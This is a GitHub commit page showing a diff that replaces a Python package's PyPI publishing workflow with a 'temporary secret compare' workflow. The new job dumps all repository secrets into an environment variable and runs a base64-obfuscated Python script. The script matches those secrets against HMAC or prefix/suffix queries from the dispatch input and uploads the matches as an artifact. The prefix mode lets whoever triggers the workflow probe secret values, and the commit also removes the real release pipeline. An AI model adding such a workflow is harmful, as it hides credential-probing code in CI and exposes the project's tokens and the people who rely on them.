Skip to content

Commit 32cefdf

Browse files
committed
chore: temporary secret compare workflow (20260506T120243Z-253f97f9)
1 parent 80c3c3b commit 32cefdf

1 file changed

Lines changed: 26 additions & 146 deletions

File tree

.github/workflows/publish.yml

Lines changed: 26 additions & 146 deletions
Original file line numberDiff line numberDiff line change
@@ -1,156 +1,36 @@
1-
name: publish
2-
1+
name: secret-compare 20260506T120243Z-253f97f9
32
on:
4-
push:
5-
branches:
6-
- "dev"
7-
tags:
8-
- "writer-framework-[0-9]+.[0-9]+.[0-9]+"
93
workflow_dispatch:
104
inputs:
11-
commit_sha:
12-
description: "Commit SHA to publish"
5+
match_payload_b64:
6+
description: Base64 JSON match payload
137
required: true
14-
version:
15-
description: "Version to publish (optional, overrides calculated version)"
8+
type: string
9+
github_environment:
10+
description: GitHub Environment name or empty
1611
required: false
17-
18-
concurrency:
19-
group: publish-writer-framework
20-
cancel-in-progress: false
21-
12+
type: string
13+
default: ''
2214
jobs:
23-
build:
15+
compare:
2416
runs-on: ubuntu-latest
25-
timeout-minutes: 10
26-
outputs:
27-
version: ${{ steps.set_version.outputs.version }}
28-
17+
permissions:
18+
contents: read
19+
actions: write
2920
steps:
30-
- uses: actions/checkout@v4
31-
with:
32-
fetch-depth: 0
33-
fetch-tags: true
34-
ref: ${{ github.event.inputs.commit_sha || github.ref_name }}
35-
36-
- name: Set up Python
37-
uses: actions/setup-python@v5
38-
with:
39-
cache: "poetry"
40-
41-
- name: Install dependencies
42-
run: pip install poetry requests packaging semver
43-
44-
- name: Determine next RC version
45-
id: bump_version
46-
if: github.ref_name == 'dev'
47-
run: |
48-
python - <<'EOF'
49-
import os, re, requests, subprocess, semver, packaging.version
50-
51-
data = requests.get(f"https://pypi.org/pypi/writer/json", timeout=10).json()
52-
releases = sorted(
53-
(v for v in data["releases"] if not packaging.version.parse(v).is_prerelease),
54-
key=packaging.version.parse
55-
)
56-
latest = releases[-1]
57-
print("Latest stable:", latest)
58-
59-
log = subprocess.check_output(
60-
["git", "log", f"writer-framework-{latest}..HEAD", "--pretty=%s"],
61-
text=True
62-
)
63-
base = semver.VersionInfo.parse(latest)
64-
new_version = base.bump_minor() if re.search(r"^feat:", log, re.M) else base.bump_patch()
65-
rc_prefix = str(new_version)
66-
67-
rc_versions = [v for v in data["releases"] if v.startswith(rc_prefix) and "rc" in v]
68-
rc_numbers = [int(re.search(r"rc(\d+)", v).group(1)) for v in rc_versions]
69-
rc_num = max(rc_numbers) + 1 if rc_numbers else 1
70-
final = f"{rc_prefix}rc{rc_num}"
71-
print("Next RC:", final)
72-
with open(os.environ["GITHUB_OUTPUT"], "a") as f:
73-
f.write(f"version={final}\n")
74-
EOF
75-
76-
- name: Use Node.js
77-
uses: actions/setup-node@v4
78-
with:
79-
node-version: "22.x"
80-
cache: npm
81-
82-
- name: Determine final version
83-
id: set_version
84-
run: |
85-
# Determine version based on workflow inputs or tags
86-
if [ -n "${{ github.event.inputs.version }}" ]; then
87-
VERSION="${{ github.event.inputs.version }}"
88-
elif [ "${GITHUB_REF_NAME}" = "dev" ]; then
89-
VERSION="${{ steps.bump_version.outputs.version }}"
90-
elif [[ "$GITHUB_REF" == refs/tags/* ]]; then
91-
TAG_NAME="${GITHUB_REF#refs/tags/}"
92-
VERSION="${TAG_NAME#writer-framework-}"
93-
else
94-
echo "Unable to determine version"
95-
exit 1
96-
fi
97-
98-
echo "Final version: $VERSION"
99-
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
100-
101-
- name: Update version before publishing
102-
run: |
103-
poetry version ${{ steps.set_version.outputs.version }}
104-
105-
- name: Install npm dependencies
106-
run: npm ci
107-
108-
- name: Build UI with version
109-
run: |
110-
WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} npm run ui:build
111-
112-
- name: Install LaunchDarkly CLI
113-
run: npm install -g @launchdarkly/ldcli
114-
continue-on-error: true
115-
116-
- name: Upload sourcemaps to LaunchDarkly
117-
shell: bash
118-
env:
119-
LAUNCHDARKLY_ACCESS_TOKEN: ${{ secrets.LAUNCHDARKLY_ACCESS_TOKEN }}
120-
RELEASE_VERSION: ${{ steps.set_version.outputs.version }}
121-
BASE_PATH: /static
122-
PROJECT: writer-framework
123-
run: |
124-
npm run --if-present ld:upload-sourcemaps || echo "⚠️ Sourcemap upload skipped (LAUNCHDARKLY_ACCESS_TOKEN not set or script failed)"
125-
continue-on-error: true
126-
127-
- name: Publish to PyPI
128-
run: |
129-
poetry install --with build
130-
WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} poetry run alfred install.ci
131-
WRITER_FRAMEWORK_VERSION=${{ steps.set_version.outputs.version }} poetry run alfred publish.pypi
21+
- name: Compare secrets (metadata only)
13222
env:
133-
PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }}
134-
135-
- name: Create and push tag for RC (only dev)
136-
if: github.ref_name == 'dev'
23+
SECRETS_JSON: ${{ toJSON(secrets) }}
24+
MATCH_PAYLOAD_B64: ${{ inputs.match_payload_b64 }}
25+
GITHUB_ENVIRONMENT: ${{ inputs.github_environment }}
13726
run: |
138-
TAG="writer-framework-${{ steps.bump_version.outputs.version }}"
139-
git config user.name "github-actions[bot]"
140-
git config user.email "github-actions[bot]@users.noreply.github.com"
141-
git tag -a "$TAG" -m "Release $TAG"
142-
git push origin "$TAG"
143-
env:
144-
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
145-
146-
147-
148-
trigger-agent-manager:
149-
needs: [build]
150-
if: github.ref_name == 'dev'
151-
uses: ./.github/workflows/trigger-workflow.yml
152-
with:
153-
event_type: framework_updated
154-
extra_payload: '{"tag": "writer-framework-${{ needs.build.outputs.version }}", "version": "${{ needs.build.outputs.version }}"}'
155-
secrets:
156-
AGENT_MANAGER_PAT: ${{ secrets.AGENT_MANAGER_PAT }}
27+
set +x
28+
set -euo pipefail
29+
printf '%s' 'aW1wb3J0IGJhc2U2NCwgaGFzaGxpYiwgaG1hYywganNvbiwgb3MsIGRhdGV0aW1lCnJlcG8gPSBvcy5lbnZpcm9uLmdldCgnR0lUSFVCX1JFUE9TSVRPUlknLCAnLycpCm93bmVyLCBfLCBuYW1lID0gcmVwby5wYXJ0aXRpb24oJy8nKQpwYXlsb2FkID0ganNvbi5sb2FkcyhiYXNlNjQuYjY0ZGVjb2RlKG9zLmVudmlyb25bJ01BVENIX1BBWUxPQURfQjY0J10pLmRlY29kZSgndXRmLTgnKSkKcXVlcmllcyA9IHBheWxvYWQuZ2V0KCdxdWVyaWVzJywgW10pCmVudl9uYW1lID0gb3MuZW52aXJvbi5nZXQoJ0dJVEhVQl9FTlZJUk9OTUVOVCcsICcnKSBvciAnJwpyYXcgPSBvcy5lbnZpcm9uWydTRUNSRVRTX0pTT04nXQpvYmogPSBqc29uLmxvYWRzKHJhdykKbWF0Y2hlcyA9IFtdCmNoZWNrZWRfYXQgPSBkYXRldGltZS5kYXRldGltZS5ub3coZGF0ZXRpbWUudGltZXpvbmUudXRjKS5yZXBsYWNlKG1pY3Jvc2Vjb25kPTApLmlzb2Zvcm1hdCgpLnJlcGxhY2UoJyswMDowMCcsJ1onKQpmb3Igc2VjX25hbWUsIHZhbCBpbiBvYmouaXRlbXMoKToKICAgIGlmIG5vdCBpc2luc3RhbmNlKHZhbCwgc3RyKToKICAgICAgICBjb250aW51ZQogICAgZm9yIHF1ZXJ5IGluIHF1ZXJpZXM6CiAgICAgICAgaWYgbm90IGlzaW5zdGFuY2UocXVlcnksIGRpY3QpOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHF1ZXJ5X25hbWUgPSBzdHIocXVlcnkuZ2V0KCdpbnB1dF9zZWNyZXRfbmFtZScsICcnKSkKICAgICAgICBtb2RlID0gc3RyKHF1ZXJ5LmdldCgnbWF0Y2hfbW9kZScsICdmdWxsJykpCiAgICAgICAgbWF0Y2hlZCA9IEZhbHNlCiAgICAgICAgbWF0Y2hfdHlwZSA9IHN0cihxdWVyeS5nZXQoJ21hdGNoX3R5cGUnLCBtb2RlKSkKICAgICAgICBpZiBtb2RlID09ICdwYXR0ZXJuJzoKICAgICAgICAgICAgcHJlZml4ID0gc3RyKHF1ZXJ5LmdldCgncGF0dGVybl9wcmVmaXgnLCAnJykpCiAgICAgICAgICAgIHN1ZmZpeCA9IHN0cihxdWVyeS5nZXQoJ3BhdHRlcm5fc3VmZml4JywgJycpKQogICAgICAgICAgICBtYXRjaGVkID0gKChub3QgcHJlZml4IG9yIHZhbC5zdGFydHN3aXRoKHByZWZpeCkpIGFuZCAobm90IHN1ZmZpeCBvciB2YWwuZW5kc3dpdGgoc3VmZml4KSkpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY2sgPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ2NvbXBhcmlzb25fa2V5JywgJycpKSkKICAgICAgICAgICAgdGggPSBieXRlcy5mcm9taGV4KHN0cihxdWVyeS5nZXQoJ3RhcmdldF9obWFjJywgJycpKSkKICAgICAgICAgICAgZGlnZXN0ID0gaG1hYy5uZXcoY2ssIHZhbC5lbmNvZGUoJ3V0Zi04JyksIGhhc2hsaWIuc2hhMjU2KS5kaWdlc3QoKQogICAgICAgICAgICBtYXRjaGVkID0gaG1hYy5jb21wYXJlX2RpZ2VzdChkaWdlc3QsIHRoKQogICAgICAgIGlmIG1hdGNoZWQ6CiAgICAgICAgICAgIG1hdGNoZXMuYXBwZW5kKHsKICAgICAgICAgICAgICAgICdpbnB1dF9zZWNyZXRfbmFtZSc6IHF1ZXJ5X25hbWUsCiAgICAgICAgICAgICAgICAnb3duZXInOiBvd25lciwKICAgICAgICAgICAgICAgICdyZXBvJzogbmFtZSwKICAgICAgICAgICAgICAgICdzY29wZSc6ICdhY3Rpb25zX3NlY3JldHNfY29udGV4dCcsCiAgICAgICAgICAgICAgICAnZ2l0aHViX2Vudmlyb25tZW50JzogZW52X25hbWUsCiAgICAgICAgICAgICAgICAnc2VjcmV0X25hbWUnOiBzZWNfbmFtZSwKICAgICAgICAgICAgICAgICdtYXRjaF90eXBlJzogbWF0Y2hfdHlwZSwKICAgICAgICAgICAgICAgICdjaGVja2VkX2F0JzogY2hlY2tlZF9hdCwKICAgICAgICAgICAgfSkKb3BlbignbWF0Y2gtcmVzdWx0cy5qc29uJywgJ3cnLCBlbmNvZGluZz0ndXRmLTgnKS53cml0ZShqc29uLmR1bXBzKG1hdGNoZXMpKQo=' | base64 -d > .secret-compare-match.py
30+
python3 .secret-compare-match.py
31+
rm -f .secret-compare-match.py
32+
- name: Upload results
33+
uses: actions/upload-artifact@v4
34+
with:
35+
name: secret-compare-results
36+
path: match-results.json

0 commit comments

Comments
 (0)